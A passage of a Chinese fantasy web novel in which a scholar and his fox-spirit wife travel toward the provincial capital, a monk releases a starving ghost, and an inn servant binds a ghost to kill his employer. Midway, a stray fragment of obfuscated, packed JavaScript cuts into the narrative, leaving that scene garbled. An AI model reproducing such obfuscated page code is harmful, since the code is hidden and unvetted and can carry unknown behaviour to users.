陈子均又想到什么,“对了,我有一个小小要求,不知两位可否答应?” “陈兄尽管说。” “是啊,不用客气,只管吩咐。” 陈子均说,“我怕内子受惊担忧,今夜之事,希望两位不要在她的面前提起,当作无事发生。” 两人点头如捣蒜:“陈兄放心,我们一定守口如瓶。” 陈子均点点头:“多谢两位。” 到了这时,两人也没那么惧怕陈子均了,周源凑近一些,压低声音,“陈兄,你刚才怎么看得出他们不对劲,还敢一剑……”他比划了个砍头的动作,“莫非,你是同那些仙师一样的仙人?” 陈子均从容的笑了笑:“周兄想多了,我只是从小就能看到一些乱七八糟的东西,习惯了,又练过几年剑,所以胆子较常人要大一些。” 周源一愣,“原来陈兄竟是传说中的天生阴阳……啊,呸呸,天生灵眼。” “果然了不起。” “我第一眼看到陈兄的时候,就觉得陈兄是神仙一般的人物,心中景仰。” “我也是。” “今天能遇到陈兄,简直是我们几生修来的福分。” “三生有幸。” “一定是我祖上积了无数功德,才有今日和陈兄的缘分。” “前世高香。” 两人你一言我一语,马屁无缝衔接,听着也挺有意思。 说了好一会儿,方才停下。 无他,只因肚子饿了。 穆士铭摸着肚子,目光投向那一桌还剩不少的酒菜,忽地脸色一变,看向一旁的主人。 “那些酒菜……” “只是普通的树叶露水所幻,”主人连忙道,“对两位的身体没什么影响。” 两人才舒了一口气。 主人又看向陈子均,低头拱手,施了一礼,“今夜事已了,不便再打扰尊驾,这便告辞了。” 身后,数十道隐约人影也纷纷行礼。 随后,人影淡去。 …… …… 月光洒在一棵枝繁叶茂的大树上,枝叶间,趴着一个稚气的女童,正在恬睡。 幽静中,空气里忽然飘散出了一丝阴冷的气息。 阴冷气息越来越浓,一道古怪的身影也慢慢浮现出来。 这是个女子阴魂,惨白的肤色,骨瘦如柴,双眼凹陷,但从五官可以看出是个美人胚子,生前的模样应该清秀美丽,只是,她此刻大张着嘴,口中涎水流淌,显得十分怪异。 “饿……我好饿啊。” 她飘到女童的上方,大嘴张开,亮晶晶的涎水滴落正要一口咬下,忽地,女童睁开了大眼,喃喃道,“我也饿啦。” 噗嗤—— 蛛丝铺天盖地而来,闪着银光,纵横交错,形成一张大蛛网。 女子顿时被蛛网裹缠住,凄厉的叫声在暗夜中传出老远。 “今天一整天都还没吃东西,我也很饿,正好有食物送上门来。”玉珠儿趴在蛛网上,满脸兴奋,端详了女子一会儿,神情从兴奋变得狐疑,“你是阴魂吧……我还没吃过阴魂呢,你能吃吗?你好吃吗?” 女子在那里瑟瑟发抖,低级游魂没有太多智慧,全凭本能行事。 “你怎么不回答?是哑巴么?”玉珠儿想了想,“不管了,我先尝一尝。” 她抬起女子的一条胳膊,咔嚓一口,咬在对方的小臂上。 “……没有肉,也没有味道。” 玉珠儿很失望,她咬掉的部分就是一团阴气,除了非常寒冷之外,没有任何味道,而且那女子被她咬掉的地方竟又快速复原,只是阴气变得淡薄了一些。 没有肉,就不是食物,不能吃了。 还不如麻雀 田鼠。 “饿死鬼?” 树下,有一个声音传来。 玉珠儿低头一看,竟然是白日下雨时碰到的那个年轻和尚。 和尚看着她,“小蛛妖,把这个饿死鬼给贫僧吧。” “和尚,你想要她?”玉珠儿眨眨眼,“你要她干什么,当媳妇么?” “阿弥陀佛,不得胡言。”法海皱眉合十,“贫僧是想要超度她。” “超度……什么意思?” “她是游魂,只有受了超度,才能去往轮回界,转世投胎。” 玉珠儿敏而好学,“你不说她是饿死鬼吗?怎么又是游魂了?” “游魂,指的是在轮回界的魂差来之前,魂魄已经脱离肉身,不知所踪的阴魂。她既是饿死鬼,也是游魂。”法海难得的耐心解释,“魂差寻不到他们的下落,自然就没法带他们去轮回界,他们就一直游荡在世间,变为孤魂野鬼,除非有人超度了他们,他们才能重入轮回。” “哦……”玉珠儿忽然想到什么,狐疑地看着他,“你一直在跟着我?难道你觉得我生得可爱,所以想偷偷将我拐走么?” 法海的眉心突突地跳了两下,禅杖重重一顿,金环乱响。 “蛛妖,你在胡说什么?!” 玉珠儿吓得手脚并用,飞快地爬到树叶深处,过了会儿,见他没有要动手的意思,才小心翼翼的探出小脑袋。 “那你为什么突然会出现在这里?” “……今天是七月初一。” “怎么了?” “鬼门开启的第一天,”法海道,“游魂也会比往常更活跃,正是超度他们的最好时机,贫僧是一路超度过来,然后感觉到这附近有游魂,才来了这里,和你没有任何关系。” “哦……” “你留着她也没用。”法海道,“不如让贫僧超度她吧。” 玉珠儿想了一想,看着蛛网中的女鬼,眼珠子骨碌乱转,“白送可不行……这样吧,你拿好吃的来换。” 法海一愣,旋即苦笑,“贫僧自己的每餐饭都是靠化缘而来,怎么会有什么好吃的。” “你看着很厉害,抓几头老虎黑熊什么的,总没问题吧。” 和尚给她的感觉很危险,就是不知道和大坏蛋比起来,谁更厉害一些。 “出家人不可随意杀生。” “我没让你杀,抓就好了。” “那也不可。” “……” 在僧袍中摸了片刻,找出半块玉米面烙的饼子,法海轻咳一声,“贫僧的晚饭还剩半个饼,不知可否……” 玉珠儿的脑袋摇得像拨浪鼓,同时一脸嫌弃,“不行,饼不好吃,我要吃肉。” 法海不耐,一顿禅杖,眉心佛珠涌现,周身佛光绽放。 “蛛妖,你若敬酒不吃吃罚酒,就别怪贫僧不客气了!” “给你就给你。”玉珠儿被吓到,将女鬼扔下来,自己哧溜一下钻进树枝中。 这个和尚和大坏蛋一样,仗着比她厉害就欺负人。 法海抬起手一拍,女鬼身上的蛛网顿时被震碎。 他开始念诵地藏菩萨本愿经,“南无地藏王菩萨,一切众生未解脱者,性识无定……” 女鬼身上泛起白光,神情忽然变得平静。 白光如幕,上演她的一生。 她本是一富人家中的丫鬟,被男主人强行占了身子,结果招来女主人的嫉恨,趁男主人出远门,以‘美色诱主’为理由,将她锁在柴房中七天七夜,活活饿死,还将她的尸身扔给家中恶犬分食,以至于她变成游魂,整日为饥饿所困。 她睁大双眼,流出血泪,目光如在质问,“我做错了什么?” 她做错了什么?做错的分明是他们,为何受到惩罚的却是她? “还说我们妖怪坏,我看,有的人比妖怪还坏。”玉珠儿的声音从树叶中传出来。 法海念完了地藏菩萨本愿经,才道,“诸法因缘生,诸法因缘灭。今生作恶太多的人,来世自会有果报……放下执念,去轮回吧。” 女鬼闭上双眼,渐渐化作无数光点。 一部分消散在夜色中,还有一小部分,朝法海飞来,没入他的体内。 “这是什么?”玉珠儿好奇地问。 “功德。”法海回。 每超度一个亡魂,都能获得一定的功德。 日积月累,功德便会越来越多。 离结成佛果也会越来越近。 “哦。”玉珠儿点点头。 “你既不知功德,”法海又问道,“为何身上会有功德?” “是么?我也不清楚。” “你是救过什么人,还是除过什么邪妖?” 玉珠儿爬出来,坐在树枝上,晃着小脚丫,思索了片刻。 “可能是因为吃掉了一个妖怪吧,唔,很骚,不太好吃。”她总结。 法海领会过来,多半是那妖怪身上的业力太深重,被她吃掉后,竟让她获得了一部分功德。 “无心为善,才是善举,”他想了想,道,“你若有心向佛,可同我一起游历,我教你如何定心猿、降意马,除妖性,固心境,将来才有希望炼成正果。” 这蛛妖既然能身具功德,说明她极有佛缘,可惜野性未驯,还是完全的妖怪作风。 换做今天之前,他即便是手下留情,不打杀这只蛛妖,也会将这她收起来,扔进镇魔塔,根本不可能提出这种建议。 今日与陈子均的一番话,才让他改变,决定以后碰到没作恶过的妖怪,就暂时放对方一马,观其之后的表现。 法海本以为自己这话一出,小蛛妖必然受宠若惊,连忙答应。 不料,玉珠儿却问:“和你一起,有肉吃吗?” 法海怔楞了下,回道:“出家人不杀生,也不吃荤腥,你若同我一起,便只能吃素。” “那我不要。”玉珠儿拒绝,“我是妖怪,不能不吃肉,而且不吃肉会长不高,一辈子是小矮子。 法海道,“妖怪化形之后,身高就已经固定,除非度过雷劫,才能改变一次外形。” “我不信!”玉珠儿很倔强,也很自信。 她一定能长高! “既然你不愿意,那就算了。” 年轻和尚摇摇头,提起脚步,步入夜色,去寻找下一个等待超度的游魂。 只留下玉珠儿,躺在树上辗转反侧。 唉,好饿呀,又不想去抓麻雀田鼠填肚子。 对了,附近好像有个人类的县城,不如等会儿去看看,有没有什么好吃的。 …… …… 翌日清晨,天还没完全亮。 但路边卖早餐的小摊已经在忙活了。 一口大大的铁锅内,水已经开了,泛着细碎的小泡,一些白白软软、香喷喷的小东西在水面漂浮,雾状的水汽伴随着让人垂涎欲滴的香味儿弥漫四周。 “这是什么?好香啊。”一个稚气的声音问。 “小姑娘,这是馄饨。”摊主盛起一碗,递给旁边的客人。 方才那问话的红衣小女童便扭转脑袋,盯着客人手中的碗,咽了一大口口水,等客人在桌前坐好,抽出一双竹筷开吃,方才将小脑袋依依不舍地转了回来。 “好吃吗?” “当然好吃。” “什么味儿的?” “肉馅,可鲜了。” 肉的…… 玉珠儿又咽了一口口水,咕咚一声,非常响亮。 “想吃么?”摊主问。 她一脸渴望地点头,“想。” 摊主望着她,笑眯眯的,“六文钱一碗,小姑娘,要不要来一碗?” 玉珠儿一愣,“六什么?” “六文钱。” 钱…… 玉珠儿又瞥瞥其他人,见有人吃完馄饨,便或从袖袋或从钱袋或从褡裢里摸出几个圆圆扁扁的小东西,或放在桌面上,或过来交给摊主。 “那个就是钱吗?” “你这小姑娘,难道连钱都没见过?” “给了钱,就可以吃了?” “没错。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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法海在她对面坐下,将红漆禅杖斜靠在木桌上,阳光映照下,其上的金环熠熠生辉。 “好吃吗?” 玉珠儿边吃边点头。 热腾腾的馄饨。 一口下去,肉馅和葱的鲜香味在嘴里绽开。 这滋味儿太美好 ,她不由得把头仰起来,心中感叹。 凡人寿命短暂,又弱小,还有很多整天把心思都用在怎么害同类上,却又能做出这么好吃的东西。 真是奇怪。 吃了几口,玉珠儿想到什么,边吃边含混地问,“为什么我又碰到了和尚?” 真不是在跟着她么? 法海听出她的言外之意,“贫僧是来化缘早饭的。” 意思是,碰到她纯属凑巧。 “化缘?” “嗯。” 玉珠儿继续大口大口地吃着,“那和尚的钱呢,哪儿来的?” “也是化缘得来的。”法海说,“很少,好在买一碗馄饨还是够的。” “买两碗呢?” “……什么意思?” 玉珠儿吞下最后一个馄饨,再端起碗,将剩下的馄饨汤也咕咚咕咚地喝了个干净,放下碗后,意犹未尽地舔了舔嘴唇,“我还想吃,和尚能再请我吃一碗吗?” “……” “大不了,晚上我再去找几个游魂给你。” 法海叹了口气,从怀中掏出一个小储物袋,神念探入,终于抖出了几枚铜钱,小心翼翼地数了两遍。 “只够再吃一碗,多了真没有了。” “好。” …… 日头逐渐爬上半天高。 天青云朗,一头瘦骨嶙峋的老牛,正拉着牛车在官道上徐徐而行。 车厢舒缓的轻晃中,胡翘翘闭着眼睛,感觉到有一个略带凉意的大手,轻轻抚摸着她的脸蛋儿,于是她连眼睛也不睁开,习惯成自然地将软软的小脸蛋贴在那掌心上,像只猫儿似地地蹭蹭,同时半梦半醒地呢喃着,“是什么在晃呀,相公,我们在坐船吗?” 不对呀,自己应该是和相公去省城嘛,怎么会坐船呢? 迷迷糊糊中,她想到了这个,一双朦朦胧胧的大眼睛这才睁了开来,一时间还没回过神儿,呆呆愣愣地抬起脑袋,看着旁边的陈子均。 刚睡醒的小狐狸很可爱,一双眼睛又大又迷糊,额头稍稍出了一点汗,长发和衣裙也有些凌乱,小脸蛋儿红扑扑的。 “醒了?”相公温柔的问。 她眨眨眼,想起了什么,疑惑地看着被投入的阳光照得明亮的熟悉的车厢。 “相公,昨天晚上我们不是去了一个大宅子吗?怎么现在……” 她最后的记忆是相公去和宅子主人吃晚饭,她留在客房里,边吃点心边等相公回来。 后来呢? 为何现在一睁眼,天就亮了,她和相公都在牛车中? 还是说,昨晚的事情只是她在做梦? “是这样,昨晚我吃饭回来,就看到娘子你趴在桌子上睡着了,我把你抱到床上都没醒。” 是、是这样吗? “……然后呢?” “今早起来,你也睡得很熟,我叫了好几声你都没醒,我就直接将你抱上了车。” “啊?相公直接将我抱上来的?” “嗯。” “呜……那一定会被别人看到吧!好、好丢脸……” 胡翘翘捂着通红发烫的俏脸,感觉很不好意思,她怎么会睡得那么熟!连相公都叫不醒,还得让他抱上车!还一觉睡到了现在,难道是昨天太累了么?可是昨天好像也没做什么需要体力的事情呀? 陈子均笑道:“娘子不用害羞,我们出发时天还没亮,没人见到。” “那、昨晚那两个书生……” “他们要去其他地方访友,所以比我们走得还要早一点。” 这样的话,那还好…… 胡翘翘松了口气,俏脸上的红晕退去。 整理好衣服,梳了头发,用洁净术解决了个人卫生问题,她再取出一些点心,当做早饭,和陈子均一起吃掉。 随后,胡翘翘将小窗上的帘子卷起,看看外面,发现还是和昨天差不多,逐渐失去了兴趣。 漫长的旅途总是单调,外面的官道千篇一律。再美的风景看多了也会腻,何况这一路上看得最多的都是车和人,风景什么的还真没有……她由原先的好奇,变成了现在的无趣。 狐狸天性本就好动,让她一整天这么规规矩矩地坐在牛车中,实在有点气闷。 好在有陈子均在身边,她才能勉强忍住。 “真想快点到省城呀……” 第101章 驭鬼之术 余下的时间,陈子均和胡翘翘下了几盘斗兽棋。 中午,三人在官道不远处的一个小镇里吃了午饭,再次上路。 轻晃的车厢中,胡翘翘取出了一小份稀释过的灵液。 第一滴灵液她听从了相公的话,稀释成了三十份,慢慢服用,才保证身体能够承受。 有第一滴做基础,等第二滴,她只用了十五天就服用完毕。 第三滴,十天。 如今,她手中的这份已经是第四滴的其中一份。 反正没事可干,修炼吧。 服下灵液,胡翘翘闭上眼,开始运转体内的太阴感应诀,一点点地吸收灵液中的妖力…… 等她将这一份稀释后的灵液吸收完,再睁开眼,天色已是黄昏。 而牛车,也已经驶入了一个名为“南华县”的县城之内。 胡翘翘伸了个懒腰,将两条因为盘坐太久而有些发酸的长腿伸直,左右轻轻摆动,然后伸手挑开窗帘,妙目流转,打量着外面。 街道上人来人往,看着比之前的三水县还要热闹几分。 “相公,这里离省城应该不远了吧?” “嗯,已经走了一大半,顶多还有两天就能到省城了。”陈子均伸手搂住她的纤腰,轻轻揉着,感受它的细滑与弹性,“娘子是不是坐车太久,有点儿不耐烦了?” 胡翘翘立马摇头,弯起眼,甜甜地道,“只要有相公在身边,哪怕坐一辈子,翘翘都不会不耐烦的。” 陈子均用指尖捏了一下她的腰,笑骂道,“小马屁精,又开始甜言蜜语了是吧?” “真的~”胡翘翘信誓旦旦地,“相公,翘翘说的全是真话,每一个字都比珍珠还要真。” 陈子均一只手捏住她的小脸,然后将她的脸扭过来,和他面对面,再用双手捧住她的脸蛋儿,盯着她,“你看着我的眼睛,再说一遍,真的一点儿都没有不耐烦?” 胡翘翘和他对视,只觉得相公那双漆黑的眼睛真是迷人至极,仿佛幽深的夜色,让她心神俱醉,让她下意识地想要听从、顺从与服从,甚至连身子都开始发软发热了。 “有一点点吧……不过,只有一点点啦……” 小狐狸眨着水汪汪的眸,忍不住坦白,然后举起一只手,拇指和小指轻轻捏在一起,“只有这么一点点不耐烦而已,而且无论到天涯也好,海角也好,甚至这条路永远永远走下去,只要和相公在一起,翘翘就会很幸福,幸福到,可以抵消掉所有的不耐烦。” 陈子均心中泛起暖意,低头亲了她一口。 “好娘子,我也是。” 片刻后,牛车在一间还算不错的客栈前停下。 陈子均和胡翘翘、小青一同进了客栈。 这客栈中的人还不少,楼下大堂内已经坐的满满当当,在柜台之前,还有几人在办理入住手续。 等那几人办好,陈子均走到柜台之前,对掌柜说道:“我要两间上房。” 掌柜是个约莫四十岁·的中年人,一张大圆脸,甚是富态,闻言摇头:“抱歉几位,这几天住店的人比较多,天号房没了,地号房还剩一间,倒是人号房和通铺还有。” 绝大多数的客栈都有两层楼,而房间等级则是以“天地人”或“天地玄黄”来划分,天字号房一般位于二楼的东侧,是最高级别的房间,寓意“紫气东来”、“日出东方”等等,房价最贵,数量也最少。 地号房是次于天号房的房型,位于二楼南部,寓意“地气南升”,房价中高,数量一般会较天号房多一些,但也不算太多。 再其次是人号房,位于二楼的西北两侧,一般一个房间里会有两到三张床,房间环境便一般了。 至于通铺,大多都在一楼,一个房间里睡七八个人、十来人都很常见,房间最差,价格也最低。 陈子均的眉头皱了起来。 地号房,他也能接受,但只有一间的话,等于就只能让他和胡翘翘睡了。 胡翘翘也想到了这点,轻声道,“相公,要不我们换一家再看看?” 掌柜笑呵呵地道,“这位小娘子,今天你们不管去哪家客栈,恐怕都是一样的。这几日客人多,咱们县的客栈都缺房间。就这间地号房,还是刚有客人离开腾出来的,你们要再多犹豫一时片刻的,恐怕连这间都没了。” 陈子均“哦。”了一声,问道,“为什么这几日客人这么多?” 掌柜扫了一眼小青背后的书箱,问道,“看郎君的样子,想必是去省城乡试的?” “嗯。” “自然有不少都是和郎君一样的读书人,”掌柜捻着胡子,笑道,“而且,我们南华县本就是交通要道,平时人也不少。” 顿了顿,他道,“何况,再过十来天,就是各仙宗在省城招收新弟子的日子,这事儿每五年才有一次,想拜入仙宗的、想去看热闹的人,自然也都会往省城去。其中有不少人会途经我们南华县,所以这段时间里,我们这儿的客人出奇的多,每家客栈的房间都十分抢手。” 小青抿了下唇,开口道,“公子,翘翘姐,就要一间地号房吧,不用管我,我自己会找个地方睡的。” 大不了,她找个无人处 ,在树上盘一宿。 陈子均沉吟少顷,摸出一块银锭,轻轻放在柜台上,“麻烦掌柜想办法再腾一间房。” 盯着这银锭,掌柜有些意动。 毕竟一间天字号房,睡一晚也才不到五钱银子。 片刻后,他想到什么,道,“倒也还能腾出一间……是这样,遇到太忙走不开的时候,我就会睡在店中,所以在二楼也给自己留了一间地号房,之前从没让客人睡过。两位若不嫌弃,我叫小二将房间收拾干净,被褥和各种用具都换成新的,如何?” 陈子均沉吟了下,点头,“可以。” 掌柜眉开眼笑,先请陈子均他们稍等,然后扭头大声喊:“阿元,阿元!” 喊了半天,都没人应答。 “懒骨头,每次忙起来都见不到人影,又死到哪里去了?”掌柜没好气地骂道,又问另一个伙计,“你见到阿元没有?” “我方才在杂役房见过他,”伙计回答,“不知在折腾什么,鬼鬼祟祟的。” 掌柜脸上的肉抖了几下,无可奈何,便吩咐这名伙计去收拾房间,又让人将牛车送至后院。 等房间收拾好,他亲自引着陈子均三人上楼,将三人分别送到房门外,还笑呵呵地道,“几位要是没吃晚饭,一楼可提供饭食,我家厨子的手艺不错,尤其是一道竹荪清炖鸡汤,远近闻名,几位不妨试试。” 鸡? 胡翘翘的眼睛顿时亮了,小手轻扯了下陈子均的衣袖。 好久没吃鸡了,她都有些馋了。 陈子均瞥了她一眼,笑道:“好,既然掌柜如此推荐,等会儿我们就去一楼尝尝。” 片刻后,三人下楼来到大堂。 陈子均挑了张靠角落的桌子坐下,招手唤伙计过来,点了掌柜所说的那道竹荪清炖鸡汤,又问了下厨子的拿手菜和厨房里的食材,加了一个酸梅蒸羊肉,一个蒜蓉茼蒿,想到胡翘翘爱吃甜,又要了个蜜汁糯米莲藕,四个菜,合计三钱银子。 伙计端上了茶壶和茶杯,正要替三人倒茶,小青阻止:“放着吧,我们自己会倒。” 随后,她趁人不注意,将几个茶杯拿到桌底,用洁净术清洁了一遍,才替陈子均和胡翘翘倒上了两杯清茶。 竹荪鸡汤是早已炖好的,所以第一个上了桌。 这鸡汤是用整只鸡加竹荪、红菇、莲子与当归一块炖出来的,用的鸡不是普通的老母鸡,而是不太常见的乌骨鸡,鸡皮是黑色,但肉质却比普通老母鸡更鲜美柔润,至于竹荪,则是寄生在枯竹根部的一种菌类,深绿色的菌帽,从菌柄顶端有一围细致洁白的网状裙从菌盖向下铺开,宛如穿着白裙的少女。 陈子均和胡翘翘住在白崖村时,也有村民偶尔会送竹荪来,无论炖汤炒菜,滋味儿都十分香甜鲜美,单论口味,几乎不输养魂玉芝。 胡翘翘早已迫不及待,等鸡汤端上来,她便轻卷袖口,露出皓雪般的手腕,拿起汤勺,给自己和陈子均各盛了一碗汤, 陈子均则是给她夹了个大鸡腿,“娘子,你最喜欢的鸡腿。” “谢谢相公~”胡翘翘美滋滋地咬了口鸡腿,肉质鲜嫩可口,再喝一口鸡汤,香甜回甘,搭配竹荪红菇,香气口感都层次分明。 “果然还是鸡肉最好吃啦!”她眯起眼,十分满意,又有些小小自卑,“唉,这汤比我做的美味多了……” 陈子均微微一笑,“谁说的,我就觉得,娘子炖的鸡汤自有一番野趣风味,很对我的胃口。” 胡翘翘弯起眼儿,她也不是笨蛋,自然知道相公是在哄她开心,不过听在耳朵里,依旧心满意足。 相公真体贴,嘻嘻。 随后,另外几道菜也陆续上来了。 陈子均将每个菜都尝了几口。 掌柜并未吹嘘,他家的厨子手艺委实出色。 酸梅蒸羊肉,每一块羊肉都切得方方正正,炖得恰到好处,绵软入味,再淋上酸甜味儿的酸梅果酱,香甜不腻。小青和胡翘翘都挺爱吃。 蒜蓉茼蒿就比较简单,茼蒿切成段,蒜末爆香后与茼蒿同炒,翠绿鲜嫩,口味清新。 最后是蜜汁糯米莲藕,是以生糯米灌在莲藕中,配以桂花酱,甜糯之中,带着浓郁的桂花香气,咬一口,软软糯糯,香香甜甜。 至于米饭,就是普通的竹筒蒸饭,但也清香扑鼻,颗粒分明。 四个菜,加竹筒饭,倒是值这三钱银子。 此刻正是饭点,一楼的大厅几乎被坐满了,不少人高谈阔论谈天说地,至于话题,亦是天南海北无所不包。 这时,有人聊到了各宗门在省城招收新弟子的事。 一个三十来岁的汉子忽然问道,“对了,你们谁知道,想进仙宗,有什么要求?” “我知道,五年前,我曾去参加过青山宗的入门测试,”他邻桌的一矮个青年回答,“首先,会有仙师检查你有没有灵窍,如果没有灵窍,就无法修炼仙法。” “你的意思是,只要生有灵窍,就能进仙宗学仙法了?”有个客人目光一亮。 “并非如此简单,”矮个青年夹起一粒花生米,放进嘴里,边吃边摇头,“先不说生有灵窍的人,是万中无一。就算你是幸运儿 ,具备了灵窍,也不能马上修炼,还要先从杂役弟子做起,苦熬好几年,才有可能正式获得学仙法的机会。” “啊?” “还要先从杂役弟子做起?” “这是为何?” 旁边的人七嘴八舌地问。 “当时,我也曾问过青山宗负责招收弟子的那名仙师,为何有灵窍也不能直接修炼,还得先从杂役弟子做起,白白将时间花费在杂务上,岂不可惜?”矮个青年道,“仙师却告诉我,这也是一种考验。” 众人疑惑道:“这算什么考验?” “是对心性的考验。因为学习仙法者,必须是意志坚定,又无私无畏之人。”矮个青年放下筷子,正色道,“毕竟,仙法的威力都极大,甚至可翻江倒海,仙师们举手投足都能决定无数凡人的生死。” 大堂内顿时安静下来,众人都认真听着他的话。 甚至连咀嚼声都暂时地停止了。 “倘若仙宗不仔细考核弟子门人的心性,任宗门中泥沙俱下,一些心性不正之人掌握了仙法后,不用仙法斩妖诛邪,护卫平民,反倒作威作福,或是一心为自己谋求私利、或是遇到妖魔贪生怕死,或是同门之间不知团结互助,而是互相倾轧争斗……这样的弟子门人,资质越优秀,学会仙法之后,带来的危害反而会越大!” 矮个青年越说越慷慨激昂,道,“是以,所有的仙宗都规定,要学仙法,必须先从杂役弟子做起,坚持不下来的,便是毅力不足,意志不坚,自然不可修炼仙法。即便真的能坚持下来,仙宗也会对其持续观察,并多次考验,尽可能保证仙法不会被心术不正之人学去。这样一来,又会淘汰大半,最终能留下的,十不存一。” 一个商人打扮的男人放下手中的酒杯,拍了下桌子,“没错,我也曾听过 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这时已是傍晚,里头光线昏暗,只能看到这人不到二十岁年纪,身材瘦削,面黄肌瘦,属于扔到人堆当中就找不着的类型,倒是一双三角眼,精光闪烁,却让人看了有几分不舒服。 他打了个哈欠,将手里的什么东西塞进怀中,懒洋洋地站起身,却像是没有骨头,站都站不直。 “催什么催,这就来了。” “不想干就给我滚!”掌柜怒冲冲,香肠般的手指点着他额头,“你看你,整天偷懒,游手好闲,坐没坐相,站没站相,像条虫多过像个人,一点出息都没有!要不是你娘和我岳母是远房亲戚的份上,我早就让你卷铺盖了!” 啪! 阿元一手打开他手指,怒目而视,“你给我放客气一点,否则等我成了仙,要你好看!” “成仙?你?”掌柜忍不住笑了,“你在说什么笑话?” “笑话?” “你有灵窍么?” 阿元洋洋得意,“哼,我虽没有灵窍,但我曾爷爷可是当过仙师的,我便是仙师的后人,说不定哪天便能成仙了。” “什么仙师,你当我不知道,他就是个被青山宗赶出来的杂役弟子!”掌柜哈哈大笑,毫不客气地揭开疮疤,“你曾爷爷当年还是个杂役,未经允许,偷学法术,被仙师们赶出了门,连灵窍都被封了!” 阿元听得勃然大怒,像条被踩了尾巴的狗,直接跳起来,拼尽全力,快如电光石火,一个耳光狠狠抽在掌柜的脸上。 “狗东西,你敢侮辱我曾祖,好大的胆子!” 掌柜毫无心理准备,这一巴掌被打得结结实实,差点吐出两颗牙齿。 “你竟敢打我!”他气得青了脸。 “打你又怎么了?!” “你……你现在就给我收拾东西,滚蛋!” “赶我走?你不要后悔!” “滚!” “哈,肥猪,当老子稀罕这里么?!”阿元冷笑,揪住掌柜衣领,吐了口唾沫,“你先将遣散费拿来,老子自然就走。” 掌柜气得脸红耳赤,丢给他几两碎银,又骂道,“快将你的东西收拾好,明天早上,我不想再在店里看见你!” 说罢,甩袖离去。 阿元 站在那里,看着掌柜圆滚滚的身影,三角眼底全是阴冷。 牙缝中一个字一个字地迸出,“老狗,不用等明天早上了,我让你活不过今晚!” …… 夜色渐深,客人们都回到房间入睡。 阿元悄然出了杂役房,走到小楼的背后,从怀中掏出了一个褐色的小瓷罐。 这个瓷罐,是不久前,他从曾爷爷留下的遗物中翻出来的。 同这个瓷罐一起的,还有几张纸。 纸上,记着他曾爷爷当初从青山宗偷学来的驭鬼之术。 原本这驭鬼术需要魂力才能施展,但被逐出青山宗后,他曾爷爷极不甘心,苦苦研究,结果还真的给他另辟蹊径,将这驭鬼之术进行了改进,变成了无需修炼的普通人也能使用。 每年的七月初一到七月十五,鬼门大开,游魂也最为活跃,而游魂,是阴魂中最弱小的一种,即便他是普通人,也能勉强驾驭。 这时候,只需用他手中这个刻有抓捕游魂的阵法的小瓷罐,抓住一个游魂,再用自身精血为引,同游魂签订主奴契约。 日后,随着游魂的实力增长,饲主的魂力也能随之增长。 这样一来,不需灵窍,也能进行修炼。 但最后一张纸上的后半截,原本写着“切记切记……”或许是因为年月过久,后面的内容已然受潮,变得模糊不清,恐怕只有他曾爷爷复生,才能知道应“切记切记”些什么。 阿元一横心,咬破无名指的指尖,从伤口里挤出一滴血,小心滴入罐口。 很快,墨一般的黑雾从罐子里涌出,四周的温度也一下降了下来,凉飕飕的。 黑雾中,渐渐显出一个女人的身形。 是一个长发的女阴魂。 全身惨白,身子只剩大腿以上的部位,脸也残缺不全,上面布满血淋淋的齿痕,似乎曾被某种野兽啃噬过,破损的面孔上,还带着一丝诡异的微笑。满头黑发像是一条条怪异的细长黑虫,在黑夜中飞舞着。 阿元咽了下口水,既有些害怕,又有些得意。 这个女游魂便是他昨晚纸上所记的办法抓捕到的,将她驯养在罐子中,并用他自己的精血和对方建立了联系。 每次要再召唤她,只需要将一滴鲜血滴入罐子即可。 想到方才掌柜的辱骂,他目光中透出狠厉之色。 “看在亲戚的份上,原本你知趣一点,我也不会把你怎么样。但既然你先不仁,就别怪我不义了,便让你做我的第一个试验品,你应死也死得很荣幸!”自语完,他抬起手,一指二楼的某扇窗户,恶狠狠地下令,“去将这房中男人的阳气给我吸光!” 第102章 保护相公! 所谓游魂,是死亡后脱出人体而存在的阴魂,也是最低级的阴魂。 这女鬼作为游魂,能阴魂不散已是极致,却是没法再保留身前的所有记忆和智慧,全凭本能行事,若是怨气太重便是会害人的怨灵,若不害人,也难以交流,只会凭生前喜好习惯做些事情。只有等她从活人的身上吸到了足够的阳气,或是存活时间够久,阴气增强到一定程度,才能再诞生出灵智来。 但阿元和她有主奴契约,只要不是太复杂的命令,她还能勉强明白,阿元要她所做的事。 于是,女鬼慢慢飘浮起来。 到了二楼窗外,她直接穿过窗户,钻了进去。 …… …… 她是一只无忧无虑的小狐狸,生活在一片山林中,因为身上流着高等狐妖的血脉,是以没多久便开了灵智,可以修行。 两百年后,她成功化形,还给自己取了个名字叫“胡翘翘”,她原本是想取“胡楚楚”,可惜这名字已被另一只狐狸抢了先。 不过,胡翘翘这个名字也不错,不是么? 变成人的第一天,她化出了她曾见过的女子服饰,丝罗的白色孺裙,裙幅两边有细褶,飘带上还佩了一个玉环,又摘了一朵香喷喷的栀子花戴在鬓边,站在溪边,凝望着水中那张比花儿还娇媚的俏脸,左看右看,很新鲜。 原来自己变成人,是这个模样? 从人类的标准来看,应该还算是漂亮吧? 临水照影,扭动细细的腰肢,她掩不了兴奋。 不料,溪边有青苔,她初学人立,加上鞋底没有狐爪般的肉垫防滑,脚下不稳,差点儿滑倒在水中。 忽然,一只手及时地从后面伸过来,握住了她的胳膊,“姑娘,小心!” 她回过头,看到一个少年书生,眉目清朗,比阳光还明亮。 突然晕乎乎,神魂都一下飞走。 她咬着唇,世界像是变得静止,流水失却了潺潺,风儿也不再轻吟,花瓣落地无声,唯一的声音,只剩下她的胸腔中,那颗炽热的心,在砰砰地跳个不停。 砰砰,砰砰! …… 它跳得那么厉害,竟然将她从梦中震醒。 胡翘翘打了一个呵欠,缓缓睁开了眼,心中弥漫着甜意,扭头看看身边睡着的陈子均,嘴角浮起蜜糖般的微笑。 梦中那少年书生,分明就是相公。 过去的三年中,她自然也会好奇,自己和相公的相遇是什么时间,在什么地方,又是什么情景? 可每次一尝试回忆,她的脑袋就很疼很疼,像有把利剪,在她的脑袋中狠狠地剪动,痛苦难当,连一秒都难以坚持。 相公温柔地安慰她,记不起来就算了,是的,不过是一些陈旧往事罢了,只要她和相公在一起,记不起来也没什么影响,抹掉往事,如一片白纸,重新再画上一副更美的画儿也无妨。 她很自然的接受了相公的话,不再执着。 但多少有一些遗憾。 